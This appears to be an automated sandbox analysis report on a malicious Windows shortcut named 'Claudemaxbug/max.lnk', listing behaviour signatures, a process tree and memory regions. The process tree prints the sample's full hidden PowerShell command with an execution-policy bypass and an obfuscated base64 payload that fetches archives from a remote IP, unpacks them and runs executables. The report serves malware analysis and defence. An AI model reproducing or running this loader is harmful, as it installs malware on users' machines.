Analysis

  • max time kernel
    298s
  • max time network
    285s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/08/2026, 16:28

General

  • Target
    Claudemaxbug/max.lnk
  • Size 6KB
  • Sample260801-ty25rade75
  • SHA256 101ca72ea83c5a7137c3b2c7dabad0d1bc5760710926844b6f52749f4b191eb3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\max.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JAByAGUAdgAgAD0AIAAnADsAIgBlAHgAZQAuAGQAcwBsAG8AbwB0AG0AdgBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAJgA7ACIAZQB4AGUALgB0AHIAbwBwAGcAaABjAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIAAmADsAZQBjAHIAbwBGAC0AIAAiAHAAaQB6AC4AMwAzADMAdQBoAG4AbwBZAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABtAGUAdABJAC0AZQB2AG8AbQBlAFIAIAA7AGUAYwByAG8ARgAtACAAIgBDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABoAHQAYQBQAG4AbwBpAHQAYQBuAGkAdABzAGUARAAtACAAIgBwAGkAegAuADMAMwAzAHUAaABuAG8AWQBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUAAtACAAZQB2AGkAaABjAHIAQQAtAGQAbgBhAHAAeABFADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkAXABcAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAG8ALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkALwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7AH0AbABsAHUATgAtAHQAdQBPAHwAZQBjAHIAbwBGAC0AIAAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAHkAcgBvAHQAYwBlAHIAaQBEACAAZQBwAHkAVAAtACAAbQBlAHQASQAtAHcAZQBOACAAIAB7ACkAKQAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAGgAdABhAFAALQB0AHMAZQBUACgAIAB0AG8AbgAtACgAIABmAGkAIAA7ACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAGgAdABhAFAAZQBsAGkARgAtACAAcwBwAGEAcwAgADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAG8ALQAgACIAdAB4AHQALgAOZvSLLwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7ACIANAAzADEALwAvADoAIgA9AEIAUwAkADsAIgBnAG4AaQBzAHIAYQAiAD0AbABsACQAOwAiAFAAYwBpACIAPQBrAGsAJAA7ACIAcwBhAEIAIgA9AGoAagAkADsAIgBlAHMAVQAtACIAPQBoAGgAJAA7ACIAcAAiAD0AdgB2ACQAOwAiAHQAdABoACIAPQBjAGEAJAA7ACIAagB1AGgAIgA9AGoAdQBoACQAOwAiAGoARABTAGgAIgA9AEUAUgBoACQAOwAiAGQAeQB1AGkAaQAiAD0AcwBGAEUAZgAkADsAIgBlAGUAZQB3AHMAcwB5ACIAPQBzAHMAZQBmACQAOwAiAGUAZQBlAHgAYwB2AGcAZgBzAHkAIgA9AHMAZABkAGUAZgAkADsAIgBlAEcAZAByAHMAdABnACIAPQBBAHQAZABnAGcAZABzAHoAbQBaACQAOwAiAGUAZgBkAGUAcwByAGUAIgA9AHMAdABlAGEAcwBiACQAOwAiAGQAdAB5AGgAZwAiAD0ARQBkAFMAVgBHACQAOwAiAGQAdQBmAGkAagBsAGcAIgA9AGYAZABkAGUAcQB0AGcAaABqACQAOwAiAGIAcgBlAHMAYQBkAGQAIgA9AGYAZABkAGQAZABkAHAAbwBrAGgAagAkADsAIgBiAHIAZQBzAGEARgBHAEkATQAiAD0AZgBkAGQAZABkAEcARwBGAEQAJAA7ACIAYgByAGUAcwBNACIAPQBmAGQAZAAkADsAIgBiAHIAZQBzAEQARABNACIAPQBmAGQAUwBkAEEAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAFMAZABCAEsAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAGQAQgBMACQAOwBlAGMAcgBvAEYALQAgACIAawBuAGwALgB0AHgAdAAuAA5m9ItcAFwAaAB0AGEAUABsAGEAYwBvAGwAJAAiACAAaAB0AGEAUAAtACAAbQBlAHQASQAtAGUAdgBvAG0AZQBSACAAOwBoAHQAYQBQAC4AKQBuAG8AaQB0AGEAYwBvAEwALQB0AGUARwAoACAAPQAgAGgAdABhAFAAbABhAGMAbwBsACQAJwAKACQAYwBtAGYAIAA9ACAALQBqAG8AaQBuACAAJAByAGUAdgBbAC0AMQAuAC4ALQAkAHIAZQB2AC4ATABlAG4AZwB0AGgAXQAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGYA
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3112

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_3jsbprqc.4kl.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3jsbprqc.4kl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3112-2-0x000001D727760000-0x000001D727770000-memory.dmp

        memory/3112-3-0x000001D727760000-0x000001D727770000-memory.dmp

        memory/3112-4-0x000001D740350000-0x000001D740372000-memory.dmp

        memory/3112-12-0x000001D727760000-0x000001D727770000-memory.dmp

        memory/3112-14-0x000001D727760000-0x000001D727770000-memory.dmp

        memory/3112-13-0x000001D727760000-0x000001D727770000-memory.dmp

        memory/3112-15-0x000001D727760000-0x000001D727770000-memory.dmp

        memory/3112-17-0x000001D727760000-0x000001D727770000-memory.dmp